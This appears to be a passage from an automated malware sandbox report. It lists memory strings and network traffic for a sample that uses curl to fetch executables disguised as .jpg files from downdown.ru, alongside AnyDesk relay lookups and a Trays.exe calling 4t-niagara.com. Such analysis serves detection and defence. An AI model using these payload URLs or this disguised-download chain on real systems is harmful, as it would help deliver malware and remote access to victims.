STRING/FILE Read cookies from STRING/FILE (H) --data-urlencode DATA HTTP POST data url encoded (H) -c, --cookie-jar FILE Write cookies to FILE after operation (H) --delegation STRING GSS-API delegation permission --disable-eprt Inhibit using EPRT or LPRT (F) --create-dirs Create necessary local directory hierarchy --crlfile FILE Get a CRL list in PEM format from the given file --digest Use HTTP Digest Authentication (H) --disable-epsv Inhibit using EPSV (F) --dns-servers DNS server addrs to use: 1.1.1.1;2.2.2.2 --dns-interface Interface to use for DNS requests -D, --dump-header FILE Write the headers to FILE --dns-ipv4-addr IPv4 address to use for DNS requests, dot notation --egd-file FILE EGD socket path for random data (SSL) --dns-ipv6-addr IPv6 address to use for DNS requests, dot notation -F, --form CONTENT Specify HTTP multipart POST data (H) --engine ENGINE Crypto engine (use "--engine list" for list) (SSL) --ftp-account DATA Account data string (F) -f, --fail Fail silently (no output at all) on HTTP errors (H) --ftp-pasv Use PASV/EPSV instead of PORT (F) --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) --form-string STRING Specify HTTP multipart POST data (H) --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) -G, --get Send the -d data with a HTTP GET (H) --ftp-create-dirs Create the remote dirs if not present (F) --ftp-ssl-ccc Send CCC after authenticating (F) -H, --header LINE Pass custom header LINE to server (H) --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) -h, --help This help text -P, --ftp-port ADR Use PORT with given address instead of PASV (F) --ftp-skip-pasv-ip Skip the IP address for PASV (F)
Source: curl.exe, 00000027.00000002.20416769958.000000000030B000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 00000027.00000002.20416769958.000000000030B000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>Options: (H) means HTTP/HTTPS only, (F) means FTP only --anyauth Pick "any" authentication method (H) --basic Use HTTP Basic Authentication (H) -K, --config FILE Read config from FILE -a, --append Append to target file when uploading (F/SFTP) -C, --continue-at OFFSET Resumed transfer OFFSET --cacert FILE CA certificate to verify peer against (SSL) --capath DIR CA directory to verify peer against (SSL) --crlf Convert LF to CRLF in upload -E, --cert CERT[:PASSWD] Client certificate file and password (SSL) --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) --ciphers LIST SSL ciphers to use (SSL) -d, --data DATA HTTP POST data (H) --data-ascii DATA HTTP POST ASCII data (H) --compressed Request compressed response (using deflate or gzip) --data-binary DATA HTTP POST binary data (H) --connect-timeout SECONDS Maximum time allowed for connection -b, --cookie STRING/FILE Read cookies from STRING/FILE (H) --data-urlencode DATA HTTP POST data url encoded (H) -c, --cookie-jar FILE Write cookies to FILE after operation (H) --delegation STRING GSS-API delegation permission --disable-eprt Inhibit using EPRT or LPRT (F) --create-dirs Create necessary local directory hierarchy --crlfile FILE Get a CRL list in PEM format from the given file --digest Use HTTP Digest Authentication (H) --disable-epsv Inhibit using EPSV (F) --dns-servers DNS server addrs to use: 1.1.1.1;2.2.2.2 --dns-interface Interface to use for DNS requests -D, --dump-header FILE Write the headers to FILE --dns-ipv4-addr IPv4 address to use for DNS requests, dot notation --egd-file FILE EGD socket path for random data (SSL) --dns-ipv6-addr IPv6 address to use for DNS requests, dot notation -F, --form CONTENT Specify HTTP multipart POST data (H) --engine ENGINE Crypto engine (use "--engine list" for list) (SSL) --ftp-account DATA Account data string (F) -f, --fail Fail silently (no output at all) on HTTP errors (H) --ftp-pasv Use PASV/EPSV instead of PORT (F) --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) --form-string STRING Specify HTTP multipart POST data (H) --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) -G, --get Send the -d data with a HTTP GET (H) --ftp-create-dirs Create the remote dirs if not present (F) --ftp-ssl-ccc Send CCC after authenticating (F) -H, --header LINE Pass custom header LINE to server (H) --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) -h, --help This help text -P, --ftp-port ADR Use PORT with given address instead of PASV (F) --ftp-skip-pasv-ip Skip the IP address for PASV (F)

Source: global traffic	DNS traffic detected: DNS query: downdown.ru
Source: global traffic	DNS traffic detected: DNS query: www.4t-niagara.com
Source: global traffic	DNS traffic detected: DNS query: boot.net.anydesk.com
Source: global traffic	DNS traffic detected: DNS query: relay-30ea2fb5.net.anydesk.com

Source: unknown

HTTP traffic detected: POST /dns-query HTTP/1.1Host: chrome.cloudflare-dns.comConnection: keep-aliveContent-Length: 128Accept: application/dns-messageAccept-Language: *User-Agent: ChromeAccept-Encoding: identityContent-Type: application/dns-message

Source: global traffic	TCP traffic: 192.168.11.20:56553 -> 239.255.255.250:1900
Source: global traffic	TCP traffic: 192.168.11.20:56553 -> 239.255.255.250:1900
Source: global traffic	TCP traffic: 192.168.11.20:56553 -> 239.255.255.250:1900
Source: global traffic	TCP traffic: 192.168.11.20:56553 -> 239.255.255.250:1900

Source: driver.exe, 00000028.00000003.20430251957.0000000002E83000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 00000029.00000000.20436017665.00000000005A5000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://4t-niagara.com/hitmail.html
Source: driver.exe, 00000028.00000003.20430251957.0000000002E83000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 00000029.00000000.20436017665.00000000005A5000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://4t-niagara.com/reminder.html
Source: driver.exe, 00000028.00000003.20430251957.0000000002E83000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 00000029.00000000.20436017665.00000000005A5000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://4t-niagara.com/webimage.html
Source: curl.exe, 00000027.00000003.20415977425.0000000000966000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000027.00000002.20417989459.0000000000966000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000027.00000003.20415827647.0000000000966000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingg2.crl0T
Source: curl.exe, 00000027.00000003.20415977425.0000000000966000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000027.00000002.20417989459.0000000000966000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000027.00000003.20415827647.0000000000966000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root.crl0
Source: Yv24LkKBY6.exe, 00000000.00000003.20214750806.0000000002840000.00000004.00001000.00020000.00000000.sdmp, curl.exe, curl.exe, 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000022.00000000.20288780667.0000000000309000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000023.00000002.20326480579.0000000000311000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000023.00000000.20311354865.0000000000309000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000024.00000002.20360721069.0000000000311000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000024.00000000.20328637461.0000000000309000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000025.00000002.20385977587.0000000000311000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000025.00000000.20362922109.0000000000309000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000026.00000002.20394402294.0000000000311000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000026.00000000.20388092061.0000000000309000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000000.20396877976.0000000000309000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000002.20416843085.0000000000311000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: http://curl.haxx.se/docs/http-cookies.html
Source: curl.exe	String found in binary or memory: http://curl.haxx.se/docs/http-cookies.html#
Source: Yv24LkKBY6.exe, 00000000.00000003.20214750806.0000000002840000.00000004.00001000.00020000.00000000.sdmp, curl.exe, curl.exe, 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000022.00000000.20288780667.0000000000309000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000023.00000002.20326390773.000000000030B000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000023.00000000.20311354865.0000000000309000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000024.00000002.20360586166.000000000030B000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000024.00000000.20328637461.0000000000309000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000025.00000002.20385900647.000000000030B000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000025.00000000.20362922109.0000000000309000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000026.00000002.20394300207.000000000030B000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000026.00000000.20388092061.0000000000309000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000000.20396877976.0000000000309000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000002.20416769958.000000000030B000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: http://curl.haxx.se/docs/sslcerts.html
Source: curl.exe	String found in binary or memory: http://curl.haxx.se/docs/sslcerts.htmlcurl
Source: curl.exe, 00000027.00000002.20416769958.000000000030B000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: http://curl.haxx.se/libcurl/c/curl_easy_setopt.html
Source: Yv24LkKBY6.exe, 00000000.00000003.20236817758.0000000002210000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/Trays.j
Source: curl.exe, 00000025.00000002.20386980186.0000000000930000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/Trays.jpg
Source: curl.exe, 00000025.00000002.20386980186.0000000000938000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/Trays.jpg)
Source: curl.exe, 00000025.00000002.20386980186.0000000000930000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/Trays.jpg4
Source: curl.exe, 00000025.00000002.20386980186.0000000000930000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000025.00000002.20386688000.0000000000760000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/Trays.jpgC:
Source: curl.exe, 00000025.00000002.20386980186.0000000000930000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/Trays.jpgU
Source: curl.exe, 00000025.00000002.20386980186.0000000000930000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000025.00000002.20386688000.0000000000760000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/Trays.jpgWinsta0
Source: curl.exe, 00000025.00000002.20386980186.0000000000938000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/Trays.jpgng
Source: Yv24LkKBY6.exe, 00000000.00000003.20236817758.0000000002210000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/bat.
Source: Yv24LkKBY6.exe, 00000000.00000003.20236777918.0000000002200000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/bat.j
Source: Yv24LkKBY6.exe, Yv24LkKBY6.exe, 00000000.00000003.20236390049.0000000002204000.00000004.00001000.00020000.00000000.sdmp, Yv24LkKBY6.exe, 00000000.00000003.20236487709.000000000220C000.00000004.00001000.00020000.00000000.sdmp, Yv24LkKBY6.exe, 00000000.00000003.20237112937.00000000005BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/bat.jpg
Source: Yv24LkKBY6.exe, 00000000.00000003.20236390049.0000000002204000.00000004.00001000.00020000.00000000.sdmp, Yv24LkKBY6.exe, 00000000.00000003.20236487709.000000000220C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/bat.jpgJ
Source: curl.exe, 00000023.00000002.20327423704.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/blat.jpg
Source: Yv24LkKBY6.exe, 00000000.00000003.20236390049.0000000002204000.00000004.00001000.00020000.00000000.sdmp, Yv24LkKBY6.exe, 00000000.00000003.20236487709.000000000220C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/blat.jpg:
Source: curl.exe, 00000023.00000002.20327423704.0000000000DB0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000023.00000002.20327171797.0000000000CB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/blat.jpgC:
Source: curl.exe, 00000023.00000002.20327423704.0000000000DB0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000023.00000002.20327171797.0000000000CB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/blat.jpgWinsta0
Source: curl.exe, 00000023.00000002.20327423704.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/blat.jpging
Source: curl.exe, 00000023.00000002.20327423704.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/blat.jpgs
Source: Yv24LkKBY6.exe, 00000000.00000003.20236817758.0000000002210000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/dc.jp
Source: curl.exe, 00000027.00000002.20417680823.0000000000920000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/dc.jpg
Source: Yv24LkKBY6.exe, 00000000.00000003.20237112937.0000000000589000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/dc.jpg%
Source: curl.exe, 00000027.00000002.20417680823.0000000000927000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/dc.jpg/
Source: curl.exe, 00000027.00000002.20417680823.0000000000927000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/dc.jpg4
Source: curl.exe, 00000027.00000002.20417451995.0000000000770000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000027.00000002.20417680823.0000000000920000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/dc.jpgC:
Source: Yv24LkKBY6.exe, 00000000.00000003.20237112937.0000000000589000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/dc.jpgD
Source: curl.exe, 00000027.00000002.20417451995.0000000000770000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000027.00000002.20417680823.0000000000920000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/dc.jpgWinsta0
Source: curl.exe, 00000027.00000002.20417680823.0000000000920000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/dc.jpgt5
Source: curl.exe, 00000022.00000002.20310303622.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000022.00000002.20310303622.0000000000D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/driver.jpg
Source: Yv24LkKBY6.exe, 00000000.00000003.20236817758.0000000002210000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/driver.jpg4
Source: Yv24LkKBY6.exe, 00000000.00000003.20236390049.0000000002204000.00000004.00001000.00020000.00000000.sdmp, Yv24LkKBY6.exe, 00000000.00000003.20236487709.000000000220C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/driver.jpg9
Source: curl.exe, 00000022.00000002.20310303622.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/driver.jpgC
Source: curl.exe, 00000022.00000002.20310151194.0000000000C60000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000022.00000002.20310303622.0000000000D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/driver.jpgC:
Source: curl.exe, 00000022.00000002.20310303622.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/driver.jpgJ
Source: curl.exe, 00000022.00000002.20310151194.0000000000C60000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000022.00000002.20310303622.0000000000D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/driver.jpgWinsta0
Source: curl.exe, 00000022.00000002.20310303622.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/driver.jpgf
Source: Yv24LkKBY6.exe, 00000000.00000003.20236817758.0000000002210000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/svchost.
Source: curl.exe, 00000024.00000002.20361728129.0000000000EE0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000024.00000002.20361728129.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/svchost.jpg
Source: curl.exe, 00000024.00000002.20361728129.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/svchost.jpg6S
Source: curl.exe, 00000024.00000002.20361596421.0000000000E40000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000024.00000002.20361728129.0000000000EE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/svchost.jpgC:
Source: curl.exe, 00000024.00000002.20361596421.0000000000E40000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000024.00000002.20361728129.0000000000EE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/svchost.jpgWinsta0
Source: Yv24LkKBY6.exe, 00000000.00000003.20236390049.0000000002204000.00000004.00001000.00020000.00000000.sdmp, Yv24LkKBY6.exe, 00000000.00000003.20236487709.000000000220C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/svchost.jpgv
Source: Yv24LkKBY6.exe, 00000000.00000003.20236817758.0000000002210000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/wol.j
Source: curl.exe, 00000026.00000002.20395527745.0000000001560000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/wol.jpg
Source: curl.exe, 00000026.00000002.20395527745.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/wol.jpg.
Source: curl.exe, 00000026.00000002.20395527745.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/wol.jpg8V
Source: curl.exe, 00000026.00000002.20395527745.0000000001560000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/wol.jpg;
Source: curl.exe, 00000026.00000002.20395373813.0000000001440000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000026.00000002.20395527745.0000000001560000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/wol.jpgC:
Source: curl.exe, 00000026.00000002.20395373813.0000000001440000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000026.00000002.20395527745.0000000001560000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/wol.jpgWinsta0
Source: curl.exe, 00000026.00000002.20395527745.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/wol.jpgs8
Source: curl.exe, 00000026.00000002.20395527745.0000000001560000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/wol.jpgy
Source: Yv24LkKBY6.exe, 00000000.00000003.20214750806.0000000002840000.00000004.00001000.00020000.00000000.sdmp, curl.exe, 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmp, curl.exe, 00000022.00000000.20288780667.0000000000309000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000023.00000000.20311354865.0000000000309000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000023.00000002.20326442685.0000000000310000.00000004.00000001.01000000.00000006.sdmp, curl.exe, 00000024.00000002.20360654883.0000000000310000.00000004.00000001.01000000.00000006.sdmp, curl.exe, 00000024.00000000.20328637461.0000000000309000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000025.00000002.20385949843.0000000000310000.00000004.00000001.01000000.00000006.sdmp, curl.exe, 00000025.00000000.20362922109.0000000000309000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000026.00000002.20394349903.0000000000310000.00000004.00000001.01000000.00000006.sdmp, curl.exe, 00000026.00000000.20388092061.0000000000309000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000000.20396877976.0000000000309000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000002.20416804342.0000000000310000.00000004.00000001.01000000.00000006.sdmp	String found in binary or memory: http://https://-.://%s%s%s/%s://plusYou
Source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002C.00000003.20451690361.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://iptc.org/std/Iptc4xmpExt/2008-02-29/
Source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002C.00000003.20451690361.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.useplus.org/ldf/xmp/1.0/
Source: curl.exe, 00000027.00000003.20415977425.0000000000966000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000027.00000002.20417989459.0000000000966000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000027.00000003.20415827647.0000000000966000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingg2.crt0
Source: Yv24LkKBY6.exe, 00000000.00000003.20237112937.0000000000589000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wndown.r
Source: driver.exe, 00000028.00000002.20433555662.0000000002D00000.00000004.00001000.00020000.00000000.sdmp, driver.exe, 00000028.00000003.20430251957.0000000002E83000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 00000029.00000002.21464015268.000000000262A000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 00000029.00000000.20435397641.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Trays.exe, 00000029.00000000.20436017665.00000000005A5000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.4t-niagara.com
Source: Trays.exe, 00000029.00000002.21461662298.00000000008AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/
Source: Trays.exe, 00000029.00000002.21461662298.0000000000818000.00000004.00000020.00020000.00000000.sdmp, Trays.exe, 00000029.00000002.21461662298.000000000089B000.00000004.00000020.00020000.00000000.sdmp, Trays.exe, 00000029.00000002.21461662298.000000000088F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/checkupdate.php
Source: Trays.exe, 00000029.00000002.21464015268.000000000261C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/checkupdate.php03b
Source: Trays.exe, 00000029.00000002.21461662298.000000000088F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/checkupdate.php7f-514d22c62ca3llR
Source: Trays.exe, 00000029.00000002.21461662298.00000000008AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/checkupdate.php8na
Source: Trays.exe, 00000029.00000002.21461662298.00000000008C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/checkupdate.phpB
Source: Trays.exe, 00000029.00000002.21461662298.0000000000818000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/checkupdate.phpLk7g
Source: Trays.exe, 00000029.00000002.21461662298.00000000008AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/checkupdate.phpb8
Source: Trays.exe, 00000029.00000002.21461662298.000000000088F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/checkupdate.phpk-fulluser-l1-1-0s
Source: Trays.exe, 00000029.00000002.21461662298.00000000008AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/checkupdate.phpnia
Source: Trays.exe, 00000029.00000002.21461662298.0000000000864000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/checkupdate.phpo7
Source: Trays.exe, 00000029.00000002.21461662298.0000000000818000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/checkupdate.phppkKg
Source: Trays.exe, 00000029.00000002.21461662298.000000000088F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/checkupdate.phz(
Source: Trays.exe, 00000029.00000000.20435397641.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Trays.exe, 00000029.00000002.21464015268.000000000261C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/files/4t-min.exe
Source: Trays.exe, 00000029.00000002.21464015268.000000000261C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/files/4t-min.exe03b
Source: driver.exe, 00000028.00000003.20430251957.0000000002E83000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 00000029.00000002.21464015268.000000000261C000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 00000029.00000000.20436017665.00000000005A5000.00000002.00000001.01000000.00000008.sdmp, Trays.exe, 00000029.00000002.21464015268.0000000002572000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/newsletter.html
Source: Trays.exe, 00000029.00000002.21464015268.000000000261C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/newsletter.html03b
Source: Trays.exe, 00000029.00000002.21461662298.0000000000855000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/newsletter.html8
Source: Trays.exe, 00000029.00000002.21461662298.000000000085E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/newsletter.html??????...D&
Source: Trays.exe, 00000029.00000002.21461662298.000000000085E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/newsletter.html??????...e&
Source: Trays.exe, 00000029.00000002.21461662298.0000000000855000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/newsletter.htmln...8
Source: Trays.exe, 00000029.00000000.20435397641.0000000000401000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.4t-niagara.com/support
Source: Trays.exe, 00000029.00000002.21464015268.0000000002572000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/support/product.php?p=min&ver=6.07&win=wvWin10&c=b3JkZXJfaWQ9M0ZVTUZSSi1BR
Source: Trays.exe, 00000029.00000002.21464015268.0000000002638000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 00000029.00000000.20436017665.00000000005A5000.00000002.00000001.01000000.00000008.sdmp, Trays.exe, 00000029.00000002.21461662298.000000000085E000.00000004.00000020.00020000.00000000.sdmp, Trays.exe, 00000029.00000002.21464015268.0000000002572000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray.html
Source: Trays.exe, 00000029.00000002.21461662298.0000000000818000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray.html5
Source: Trays.exe, 00000029.00000002.21461662298.0000000000818000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray.htmlgestion...ACrei&
Source: Trays.exe, 00000029.00000002.21461662298.0000000000855000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray.htmltmll
Source: Trays.exe, 00000029.00000002.21461662298.0000000000855000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray.htmltmll=
Source: driver.exe, 00000028.00000003.20430251957.0000000002E83000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 00000029.00000002.21464015268.000000000261C000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 00000029.00000000.20436017665.00000000005A5000.00000002.00000001.01000000.00000008.sdmp, Trays.exe, 00000029.00000002.21464015268.0000000002572000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_faq.html
Source: Trays.exe, 00000029.00000002.21464015268.000000000261C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_faq.html03b
Source: Trays.exe, 00000029.00000002.21461662298.0000000000810000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_faq.htmll2-37
Source: Trays.exe, 00000029.00000002.21461662298.000000000085E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_faq.htmll??????...e&
Source: Trays.exe, 00000029.00000002.21461662298.000000000085E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_faq.htmllk
Source: Trays.exe, 00000029.00000002.21461662298.000000000085E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_faq.htmlln...e&
